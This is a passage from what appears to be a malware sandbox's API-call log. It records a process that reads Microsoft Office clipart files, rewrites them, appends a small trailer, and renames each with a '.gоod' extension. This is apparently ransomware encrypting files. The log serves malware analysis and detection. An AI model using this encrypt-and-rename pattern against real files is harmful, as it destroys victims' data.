office\\root\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.gоod")) returned 1 [0229.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", lpFilePart=0x0) returned 0x44 [0229.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0229.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x368ee70 | out: lpFileInformation=0x368ee70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4)) returned 1 [0229.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0229.533] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", lpFilePart=0x0) returned 0x44 [0229.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0229.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0229.533] GetFileType (hFile=0x630) returned 0x1 [0229.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0229.533] GetFileType (hFile=0x630) returned 0x1 [0229.533] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xec4 [0229.533] ReadFile (in: hFile=0x630, lpBuffer=0x3690d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3690d08*, lpNumberOfBytesRead=0x1faedc88*=0xec4, lpOverlapped=0x0) returned 1 [0229.963] CloseHandle (hObject=0x630) returned 1 [0230.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", lpFilePart=0x0) returned 0x44 [0230.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0230.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.378] GetFileType (hFile=0x630) returned 0x1 [0230.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0230.378] GetFileType (hFile=0x630) returned 0x1 [0230.379] WriteFile (in: hFile=0x630, lpBuffer=0x383f998*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x383f998*, lpNumberOfBytesWritten=0x1faedb98*=0xed0, lpOverlapped=0x0) returned 1 [0230.380] CloseHandle (hObject=0x630) returned 1 [0230.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", lpFilePart=0x0) returned 0x44 [0230.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0230.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0230.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8588e5d2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1 [0230.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0230.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.gоod")) returned 1 [0230.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0230.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0230.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3840c28 | out: lpFileInformation=0x3840c28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044)) returned 1 [0230.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0230.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0230.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0230.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.382] GetFileType (hFile=0x630) returned 0x1 [0230.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0230.382] GetFileType (hFile=0x630) returned 0x1 [0230.382] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0230.382] ReadFile (in: hFile=0x630, lpBuffer=0x3841040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3841040*, lpNumberOfBytesRead=0x1faedd28*=0x44, lpOverlapped=0x0) returned 1 [0230.384] CloseHandle (hObject=0x630) returned 1 [0230.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0230.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0230.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.384] GetFileType (hFile=0x630) returned 0x1 [0230.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0230.384] GetFileType (hFile=0x630) returned 0x1 [0230.384] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1044 [0230.384] WriteFile (in: hFile=0x630, lpBuffer=0x38422d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38422d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0230.385] CloseHandle (hObject=0x630) returned 1 [0230.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0230.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0230.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.385] GetFileType (hFile=0x630) returned 0x1 [0230.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0230.385] GetFileType (hFile=0x630) returned 0x1 [0230.385] ReadFile (in: hFile=0x630, lpBuffer=0x3844598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3844598*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0231.535] CloseHandle (hObject=0x630) returned 1 [0231.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0231.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0231.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.535] GetFileType (hFile=0x630) returned 0x1 [0231.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0231.535] GetFileType (hFile=0x630) returned 0x1 [0231.536] WriteFile (in: hFile=0x630, lpBuffer=0x3636620*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3636620*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0231.536] CloseHandle (hObject=0x630) returned 1 [0231.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", lpFilePart=0x0) returned 0x44 [0231.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0231.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0231.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86378c94, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1054)) returned 1 [0231.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0231.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.gоod")) returned 1 [0231.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", lpFilePart=0x0) returned 0x44 [0231.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0231.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3aa0d18 | out: lpFileInformation=0x3aa0d18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c)) returned 1 [0231.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0231.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", lpFilePart=0x0) returned 0x44 [0231.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0231.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.537] GetFileType (hFile=0x630) returned 0x1 [0231.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0231.537] GetFileType (hFile=0x630) returned 0x1 [0231.537] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x32c [0231.537] ReadFile (in: hFile=0x630, lpBuffer=0x3aa12f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3aa12f0*, lpNumberOfBytesRead=0x1faedc88*=0x32c, lpOverlapped=0x0) returned 1 [0231.539] CloseHandle (hObject=0x630) returned 1 [0231.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", lpFilePart=0x0) returned 0x44 [0231.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0231.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.738] GetFileType (hFile=0x82c) returned 0x1 [0231.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0231.738] GetFileType (hFile=0x82c) returned 0x1 [0231.738] WriteFile (in: hFile=0x82c, lpBuffer=0x384f720*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x384f720*, lpNumberOfBytesWritten=0x1faedb98*=0x330, lpOverlapped=0x0) returned 1 [0231.739] CloseHandle (hObject=0x82c) returned 1 [0231.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", lpFilePart=0x0) returned 0x44 [0231.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0231.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0231.739] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86568ba2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0231.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0231.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.gоod")) returned 1 [0231.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0231.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38509b0 | out: lpFileInformation=0x38509b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e)) returned 1 [0231.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0231.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0231.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.741] GetFileType (hFile=0x82c) returned 0x1 [0231.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0231.741] GetFileType (hFile=0x82c) returned 0x1 [0231.741] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0231.741] ReadFile (in: hFile=0x82c, lpBuffer=0x3850dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3850dc8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0231.742] CloseHandle (hObject=0x82c) returned 1 [0231.742] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0231.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.743] GetFileType (hFile=0x82c) returned 0x1 [0231.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0231.743] GetFileType (hFile=0x82c) returned 0x1 [0231.743] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x332e [0231.743] WriteFile (in: hFile=0x82c, lpBuffer=0x3852060*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3852060*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0231.744] CloseHandle (hObject=0x82c) returned 1 [0231.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0231.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.744] GetFileType (hFile=0x82c) returned 0x1 [0231.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0231.744] GetFileType (hFile=0x82c) returned 0x1 [0231.744] ReadFile (in: hFile=0x82c, lpBuffer=0x3854320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3854320*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0231.771] CloseHandle (hObject=0x82c) returned 1 [0231.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0231.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.772] GetFileType (hFile=0x82c) returned 0x1 [0231.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0231.772] GetFileType (hFile=0x82c) returned 0x1 